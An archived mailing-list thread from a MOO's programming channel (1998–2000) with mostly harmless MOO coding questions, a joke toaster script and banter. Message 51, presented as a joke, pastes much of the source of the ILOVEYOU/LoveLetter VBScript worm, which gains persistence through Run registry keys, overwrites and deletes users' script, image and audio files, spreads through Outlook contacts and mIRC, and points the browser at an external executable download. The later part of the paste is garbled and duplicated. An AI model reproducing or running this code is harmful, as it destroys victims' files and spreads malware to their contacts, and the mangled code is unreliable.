Name: Programming

====================================================================

Message Number: 1
Date:
Mon Mar 23 07:14:08 1998 PST
From:
Vampire (#1113)
To: *Programming (#597)
Subject: island ontology

There is a small object that might be of assistance to folks just onto
the island. Grab you web browser and check out all the generics :

http://necro.mcc.ac.uk:6666/533

There is quite a bit of flexiblity in its coding, so if anyone wants an
overview map, compass, containment diagram . . .

====================================================================

Message Number: 2
Date:
Tue Mar 24 06:21:04 1998 PST
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject: New @verbs

I have added a new @verbs thing to the generic player. It's a bit handier than the old one, in that you can specify what verbs you wanna list.

Help @verbs will give more info.

Wildcard

====================================================================

Message Number: 3
Date:
Tue Mar 24 06:21:45 1998 PST
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject: Ooooops

Previous Post:

I mean the generic programmer ;)

Wildcard

====================================================================

Message Number: 4
Date:
Tue Apr 21 06:30:12 1998 PDT
From:
SQuiZZY (#631)
To: *Programming (#597)
Subject: user input

is it possible to do something like this:
X = $command_utils:read(player);

without it saying "enter a line... bnlah blah..."
please?
thanks

Al.

====================================================================

Message Number: 5
Date:
Tue Apr 21 08:50:42 1998 PDT
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject: read()

The $command_utils:read gives the "line" thing. Use 'read()' instead.

Wildcard

====================================================================

Message Number: 6
Date:
Tue Apr 21 08:56:58 1998 PDT
From:
Triton (#302)
To: Father_Wildcard (#3) and *Programming (#597)
Subject: Re: read()

but we all know of course:
Read can only be called by a wizard or the player being read from. If you want to read from other players, you should probably use $command_utils:read() instead.

So, this is a real problem.

====================================================================

Message Number: 7
Date:
Tue Apr 21 10:32:42 1998 PDT
From:
active (#1222)
To: *Programming (#597)
Subject: Re: read()

$command_utils:read() accepts an optional argument to replace the standard prompt. The reason there is a prompt is so players know when they're being read from. Type "help $command_utils:read" for more info.

active

====================================================================

Message Number: 8
Date:
Wed Apr 22 05:47:34 1998 PDT
From:
Triton (#302)
To: *Programming (#597)
Subject: Re: read()

Unfortunaly, the output of the '[Type or `@abort' to abort the command.]' is hardcoded. You can't avoid receiving this without wizardly power.

====================================================================

Message Number: 9
Date:
Fri May 1 03:37:39 1998 PDT
From:
SQuiZZY (#631)
To: *Programming (#597)
Subject: testing player matches

i need to test to see if a player_match has been succesful or not... any ideas?

cheers, al.

====================================================================

Message Number: 10
Date:
Fri May 1 04:10:28 1998 PDT
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject: Squizzy

Ideas? What do you think I am??? A wizard or something??

Oh....hang on. Right, here's a way you can test:

if ($command_utils:player_match_failed(person = $string_utils:match_player(dobjstr)))

This will assign person as a player matched from the player_db, and then double check it. So, there you go.

Or, you could just use:

if(is_player(whatever))

Hope that's some help.

Wildcard

====================================================================

Message Number: 11
Date:
Thu May 7 05:08:13 1998 PDT
From:
Halbarad (#60)
To: *Programming (#597)
Subject: Confusing arrays and stuff

I have a complex property set up on my C4 room and I can't change anything in it. IT's a {{0,0,0},{0,0,0}} type of property except mines in a 7x9 grid. I can't remember how to set a certain section to a value.

I think it's something like 'this.board2[2][2] = x' but it seems to treat the [2][2] as part fo the name.

nAy ideas would be appreciated.

====================================================================

Message Number: 12
Date:
Thu May 7 05:19:11 1998 PDT
From:
Halbarad (#60)
To: *Programming (#597)
Subject: It works

The problem in my precious letter was solved.

Previous letter, obviously.

====================================================================

Message Number: 13
Date:
Thu May 7 05:21:39 1998 PDT
From:
Sharrow (#397)
To: *Programming (#597)
Subject: last letter

Oh I don't know Hal, they're pretty precious to me..........

Sharrow - relising this should probably be in babble

====================================================================

Message Number: 14
Date:
Tue May 19 16:29:45 1998 PDT
From:
Dan (#376)
To: *Programming (#597)
Subject: Hack the moo

I am here to ask how do you hack the # numbers on a moo?
because i know it is possible, because you have managed to do it.
How do you hack the # numbers>?

====================================================================

Message Number: 15
Date:
Fri May 22 17:45:58 1998 PDT
From:
Tal (#1289)
To: *Programming (#597)
Subject: woo getting lower numbers

1.
2. recycle()
3. renumber()
4. re load() the player_db

note: step 1 is the fun one, figure it out yourself. :) or, just start at #2, if you want a moo that doesn't function. :)
oh, and these builtins may have changed since last I messed w/them. (2 years ago. woo) and I'm too lazy to check for sure. :)

====================================================================

Message Number: 16
Date:
Wed Oct 21 06:36:33 1998 PDT
From:
drizzt (#421)
To: *Programming (#597)
Subject: mailing in a verb

i really need some help to send messages in a verb. I need the descripson in english so that i can usnderstand it or i am fucked. Help me

====================================================================

Message Number: 17
Date:
Mon Nov 2 03:03:41 1998 PST
From:
Si (#665)
To: *Programming (#597)
Subject: Programming!

@nn
Nope, there's no news.
* HINT: If you have a coding problem, *programming is useful*

Yeah i got a problem, i can't code! any advice! ;)

Si

====================================================================

Message Number: 18
Date:
Mon Nov 2 05:54:56 1998 PST
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject: Advice

Yeah! Read the fecking tutorials ;)

====================================================================

Message Number: 19
Date:
Tue Nov 3 04:08:50 1998 PST
From:
Si (#665)
To: *Programming (#597)
Subject: advice...

Well there's another problem....i can't read...er...hmm.
Si

====================================================================

Message Number: 20
Date:
Tue Nov 3 04:11:25 1998 PST
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject: advice

Ahhhh. Well, that's a bit of a problem then innit. You know, you can actually get some gratification out of being able to read. You'll be able to understand loads of stuff. Like....urm....why Bill 'n' Julie went to the beach. And of course, let's not forget Spot's Ball. Spot's Big Ball. Spot's big RED Ball. Amazing.

====================================================================

Message Number: 21
Date:
Tue Nov 3 04:13:30 1998 PST
From:
Claudette (#105)
To: *Programming (#597)
Subject: N Bed time stories

of course Wildcard can't read either.. those are the stories his younger brother reads him at night.

====================================================================

Message Number: 22
Date:
Tue Nov 3 04:14:53 1998 PST
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject:

Isn't this a programming mailing list? Can we talk MOO code please?

====================================================================

Message Number: 23
Date:
Tue Nov 3 05:53:52 1998 PST
From:
Tarot (#99)
To: *Programming (#597)
Subject: si

from the look of si's recent poasts he carn't type eather

====================================================================

Message Number: 24
Date:
Tue Nov 3 05:55:46 1998 PST
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject:

And you can? Anyone wanna write a typo remover?

====================================================================

Message Number: 25
Date:
Tue Nov 3 05:57:09 1998 PST
From:
Claudette (#105)
To: *Programming (#597)
Subject: Typos

i would, but i'd probably typew it wrong

====================================================================

Message Number: 26
Date:
Tue Nov 3 05:59:03 1998 PST
From:
Fugaz (#1321)
To: *Programming (#597)
Subject: let's talk MOO code please :)

text = "Let us talk MOO-code!";
player.location:announce(player.name," tells us: \"",text,"\"");

have fun ;)

====================================================================

Message Number: 27
Date:
Tue Nov 3 05:59:29 1998 PST
From:
Tarot (#99)
To: *Programming (#597)
Subject: crap remover

how about someone writing a crap remover that will remove andy crap mails to mailing lists

of course this means that wild will never be able to post anything again

but every good plan has its drawbacks

====================================================================

Message Number: 28
Date:
Tue Nov 3 06:01:23 1998 PST
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject: MOO Code

Ooooh. Someone actually posted some code to the *programming mailing list!

I get the impression that no one codes anymore. 'Cept myself and Jack, and we're wizzies, so we don't count. Does anyone out there actually code anything on this MOO?

W.

====================================================================

Message Number: 29
Date:
Tue Nov 3 06:03:00 1998 PST
From:
Tarot (#99)
To: *Programming (#597)
Subject: re: MOO Code

nope no one codes they just sit around having cyber sex

====================================================================

Message Number: 30
Date:
Tue Nov 3 06:03:19 1998 PST
From:
Halbarad (#60)
To: *Programming (#597)
Subject: Me

I code. Once in a while.
Who's Andy Crap anyway - see Tarot's post, no 27ish.

====================================================================

Message Number: 31
Date:
Tue Nov 3 06:27:24 1998 PST
From:
Si (#665)
To: *Programming (#597)
Subject: Tarot

sorry, but what's a poasts? tarot?

Si

====================================================================

Message Number: 32
Date:
Tue Nov 3 06:30:20 1998 PST
From:
Si (#665)
To: *Programming (#597)
Subject: Crap remover

Yeah good idea tarot, a crap remover....
But wouldn't that mean you won't be able to log on any more?
Si

====================================================================

Message Number: 33
Date:
Wed Nov 11 14:38:06 1998 PST
From:
Dan (#376)
To: *Programming (#597)
Subject: Network reading.

I am trying to make a login script that is run b4 the char is logged in.

I can do all the things I want to do, except reading input.

I have tried $command_utils:read, $netowrk:read and even read().

$command_utils:read returns invalid something.
$network:read() doesn't take input.
and read() works, takes input, except, it won't let the char login! I know all the code works, but for some reason the return statments don't work after using, read()?

For the record I have wi_perms, and the verb is #10:co*nnect.

Dan.

Any ideas will be gratefully recived. :)

====================================================================

Message Number: 34
Date:
Thu Nov 12 06:44:20 1998 PST
From:
SQuiZZY (#631)
To: *Programming (#597)
Subject:

inputl = $string_utils:words(input);
person = $string_utils:match_player(inputl[1]);
speech = $string_utils:words(inputl[3]);
for words in (speech)
if (words == "TOAST" || words == "TOASTING" || words == "TOASTED" || words== "TOASTER")
jobby = random(13);
suspend(10);
if (jobby == 1)
this.location:announce_all_but({this}, "Toaster says, \"Toast? Did someone say they wanted toast??\"");
elseif (jobby == 2)
this.location:announce_all_but({this, person}, "Toaster says to ", person.name, ", \"Do you want some toast then?\"");
person:tell("Toaster says to you, \"Do you want some toast then?\"");
elseif (jobby == 3)
this.location:announce_all_but({this}, "Toaster says, \"TOAST! That's what I'm here for...\"");
elseif (jobby == 4)
this.location:announce_all_but({this}, "The Toaster pops up with a slice of slightly floppy, underdone toast.");
suspend(2);
this.location:announce_all_but({this}, "Toaster says, \"Tada!\"");
elseif (jobby == 5)
this.location:announce_all_but({this}, "Toaster says, \"And we all love toast..\"");
elseif (jobby == 6)
this.location:announce_all_but({this}, "Toaster says, \"If any of you ask for toast one more *&@!$*! time, I'll be forced to..\"");
suspend(2);
this.location:announce_all_but({this}, "Toaster says, \"Forced to..\"");
suspend(2);
this.location:announce_all_but({this}, "Toaster says, \"MAKE SOME!\"");
elseif (jobby == 7)
this.location:announce_all_but({this}, "Toaster says, \"I'm sorry, I am currently out of order. The microwave might be able to help though.\"");
elseif (jobby == 8)
this.location:announce_all_but({this}, "Toaster says, \"Jaske ekkgfo gnbkkwu fjgbbkew.\"");
suspend(2);
this.location:announce_all_but({this}, "Toaster says, \"Oh I'm sorry, I'd forgotten how to talk for a moment.\"");
elseif (jobby == 9)
this.location:announce_all_but({this}, "Toaster says, \"Shut up.\"");
elseif (jobby == 10)
this.location:announce_all_but({this}, "Toaster says, \"Leave me alone, I'm sleeping.\"");
elseif (jobby == 11)
this.location:announce_all_but({this}, "Toaster says, \"One... Two... Three...\"");
suspend(2);
this.location:announce_all_but({this}, "******** BANG! ********");
suspend(2);
this.location:announce_all_but({this}, "The Toaster picks itself up and puts itself back on the table.");
elseif (jobby == 12)
this.location:announce_all_but({this}, "Toaster says, \"Toast? Ask the fridge for some bread then.\"");
elseif (jobby == 13)
this.location:announce_all_but({this}, "Toaster says, \"TOAST! Oh I'm sorry, I wasn't paying attention.\"");
endif
endif
endfor



Have fun,
Al.

====================================================================

Message Number: 35
Date:
Thu Nov 12 06:46:22 1998 PST
From:
SQuiZZY (#631)
To: *Programming (#597)
Subject:


yadda yadda..

Sorry, the rest of the code is on the previous post ;)

====================================================================

Message Number: 36
Date:
Thu Nov 12 07:10:28 1998 PST
From:
SQuiZZY (#631)
To: *Programming (#597)
Subject:

Well, I can't seem to post to mailing lists which is nice,
they all mess up.
If you want the code for the talking toaster, check out #718:notify!

Al.

====================================================================

Message Number: 37
Date:
Fri Nov 13 04:39:18 1998 PST
From:
Fugaz (#1321)
To: *Programming (#597)
Subject: better reference the code, not post it :)

hihi!

this is just a positive comment:
as SQuiZZY has done in mail numbered 36, better tell people
the reference #object:verb so they can use
the @list object:verb command, instead of including
the whole code.

keep programming! byebye

====================================================================

Message Number: 38
Date:
Mon Dec 7 13:57:35 1998 PST
From:
Father_Spam(R) (#13)
To: *Core-mods (#102) and *Programming (#597)
Subject: $object_utils:"has_readable_prop*erty hrp"

Added the verb $object_utils:"has_readable_prop*erty hrp" to fix traceback in #374:"@doss*ier @file".

====================================================================

Message Number: 39
Date:
Fri Dec 11 02:56:58 1998 PST
From:
Father_Wildcard (#3)
To: *Core-mods (#102) and *Programming (#597)
Subject: Verb Protection

Hiya,

Righty ho, I have added a prop to #80 ($root) called .verb_protection. If you don't want people to be able to @verbs your objects ('cos of porting etc) set this bit to 1.

Of course, us wizzies can see anything anyway, but hey ;)

If you want to unprotect your verbs again, set the bit to 0

Wildcard

====================================================================

Message Number: 40
Date:
Fri Dec 11 02:58:54 1998 PST
From:
Father_Wildcard (#3)
To: *Programming (#597) and *Core-mods (#102)
Subject: Oooops.

It would help if I gave you the right property name ;)

It's verb_protected

Sorry ;)

====================================================================

Message Number: 41
Date:
Sun Dec 20 23:32:34 1998 PST
From:
Quad (#1127)
To: *Programming (#597)
Subject:

Ok, @verbs == .verbs_protected.. but can't I just use my own @verbs or equivalent? It would be better to place a core override on verbs() and verb_info().

====================================================================

Message Number: 42
Date:
Mon Dec 21 03:23:17 1998 PST
From:
Dan (#376)
To: *Programming (#597)
Subject: .verbs_protected

What was the point of .verbs_protected? To stop people seeing that, that verb isn't there? or to stop people @listing your verbs?

doesn't @chmod : -r do that job?

Dan.

Wonders if the new wheel should square.

====================================================================

Message Number: 43
Date:
Wed Feb 3 05:46:23 1999 PST
From:
Father_Wildcard (#3)
To: *Programming (#597)
Subject: New Channel

There is now a programming channel for any people who like programming. Could be MOO, C, HTML or whatever.

So, listen to it ;P

Wildcard

====================================================================

Message Number: 44
Date:
Wed Jun 23 03:36:37 1999 PDT
From:
Father_Jack (#2)
To: *Programming (#597)
Subject: weather server

stupid bloody sodding arsing weather server!! arggggh!

and it's all neil's fault!

-jack

====================================================================

Message Number: 45
Date:
Mon Mar 20 10:48:23 2000 PST
From:
Flatline (#60)
To: *Programming (#597)
Subject: Herf

yes, it's ME sending to *prog!!
What I want to do is this. Make an object which will respond when you use the 'to' command on it. So you'd type 'to ' and it would then run a verb. How can I do this, becuase to is on the Room.

This will be done on my laptop, so preferably no Cragy specific things here ;)

====================================================================

Message Number: 46
Date:
Mon Mar 20 11:30:47 2000 PST
From:
Flatline (#60)
To: *Programming (#597)
Subject: Re: Herf

Oh dear, wasn't I silly?

====================================================================

Message Number: 47
Date:
Mon Mar 20 13:44:39 2000 PST
From:
Flatline (#60)
To: *Programming (#597)
Subject: Bah!

Well the inspiration I had turned out to be complete arse. So I still don't know how to do it.
Any pointers,anyone?

====================================================================

Message Number: 48
Date:
Tue Mar 21 02:46:33 2000 PST
From:
Craig (#3)
To: *Programming (#597)
Subject: Herf....Feck....ARSE!!!

Well, I'm in shock, someone sent a mail to here!!! And it was HIM of all people ;)

Okay, you COULD add a :to() verb to the object with the arguments 'this any any' then when someone types 'to object bollocks' then it will run the verb on the object.

Thank you very much, I'm here all week :)

Craig.

====================================================================

Message Number: 49
Date:
Tue Mar 21 02:53:34 2000 PST
From:
Craig (#3)
To: *Programming (#597)
Subject: To()

Okay. That last mail doesn't work....goddamn builtin to() verbs on rooms. It SHOULD have worked....but didn't.

You could try putting a :tell() verb on the object and parse the damn thing.

Oh I don't know. What exactly are you trying to do anyway?

Feck!

====================================================================

Message Number: 50
Date:
Tue Mar 21 10:24:04 2000 PST
From:
Flatline (#60)
To: *Programming (#597)
Subject: To

something like the speech cntrolled room but on an object. It needs to be able to get and process what the person says to the object.

Adding a to verb to the object was the first thing I tried...

====================================================================

Message Number: 51
Date:
Tue Sep 5 08:24:14 2000 PDT
From:
Craig (#3)
To: *Programming (#597)
Subject: Heh - no MOO code, but load it on your windows box and see what it does (Note, DON'T really!)

rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")


set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page,http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhP
njw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page,http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwer
We546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page,http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZ
nmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page,http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGj
khYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ;http://www.mirc.com
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ <br>"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& <br> _ <br>"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ <br>"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ <br>"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@ <br>-@>"&vbcrlf& _ <br>"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable Acti <br>veX<?-?p>"&vbcrlf& _ <br>"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ <br>"<?-?BODY><?-?HTML>"&vbcrlf& _ <br>"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ <br>"<!--?-??-?"&vbcrlf& _ <br>"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ <br>"?-??-?-->"&vbcrlf& _ <br>"<?-?SCRIPT>"&vbcrlf& _ <br>"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ <br>"<!--"&vbcrlf& _ <br>"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ <br>"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ <br>"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ <br>"wri.write code4"&vbcrlf& _ <br>"wri.close"&vbcrlf& _ <br>"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ <br>"if (err.number=424) then"&vbcrlf& _ <br>"aw=0"&vbcrlf& _ <br>"end if"&vbcrlf& _ <br>"if (aw=1) then"&vbcrlf& _ <br>"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ <br>"window.close"&vbcrlf& _ <br>"end if"&vbcrlf& _ <br>"end if"&vbcrlf& _ <br>"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ <br>"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ <br>"?-??-?-->"&vbcrlf& _ <br>"<?-?SCRIPT>" <br>dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") <br>dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") <br>dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") <br>dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") <br>dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") <br>dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") <br>dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") <br>dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") <br>set fso=CreateObject("Scripting.FileSystemObject") <br>set c=fso.OpenTextFile(WScript.ScriptFullName,1) <br>lines=Split(c.ReadAll,vbcrlf) <br>l1=ubound(lines) <br>for n=0 to ubound(lines) <br>lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) <br>lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) <br>lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) <br>if (l1=n) then <br>lines(n)=chr(34)+lines(n)+chr(34) <br>else <br>lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" <br>end if <br>next <br>set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") <br>b.close <br>set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) <br>d.write dt5 <br>d.write join(lines,vbcrlf) <br>d.write vbcrlf <br>d.write dt6 <br>d.close <br>File(folderspec&"\script.ini") <br>scriptini.WriteLine "[script]" <br>scriptini.WriteLine ";mIRC Script" <br>scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" <br>scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" <br>scriptini.WriteLine ";" <br>scriptini.WriteLine ";Khaled Mardam-Bey" <br>scriptini.WriteLine <a href = ";http://www.mirc.com">;http://www.mirc.com</a> <br>scriptini.WriteLine ";" <br>scriptini.WriteLine "n0=on 1:JOIN:#:{" <br>scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" <br>scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" <br>scriptini.WriteLine "n3=}" <br>scriptini.close <br>eq=folderspec <br>end if <br>end if <br>next <br>end sub <br>sub folderlist(folderspec) <br>On Error Resume Next <br>dim f,f1,sf <br>set f = fso.GetFolder(folderspec) <br>set sf = f.SubFolders <br>for each f1 in sf <br>infectfiles(f1.path) <br>folderlist(f1.path) <br>next <br>end sub <br>sub regcreate(regkey,regvalue) <br>Set regedit = CreateObject("WScript.Shell") <br>regedit.RegWrite regkey,regvalue <br>end sub <br>function regget(value) <br>Set regedit = CreateObject("WScript.Shell") <br>regget=regedit.RegRead(value) <br>end function <br>function fileexist(filespec) <br>On Error Resume Next <br>dim msg <br>if (fso.FileExists(filespec)) Then <br>msg = 0 <br>else <br>msg = 1 <br>end if <br>fileexist = msg <br>end function <br>function folderexist(folderspec) <br>On Error Resume Next <br>dim msg <br>if (fso.GetFolderExists(folderspec)) then <br>msg = 0 <br>else <br>msg = 1 <br>end if <br>fileexist = msg <br>end function <br>sub spreadtoemail() <br>On Error Resume Next <br>dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad <br>set regedit=CreateObject("WScript.Shell") <br>set out=WScript.CreateObject("Outlook.Application") <br>set mapi=out.GetNameSpace("MAPI") <br>for ctrlists=1 to mapi.AddressLists.Count <br>set a=mapi.AddressLists(ctrlists) <br>x=1 <br>regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) <br>if (regv="") then <br>regv=1 <br>end if <br>if 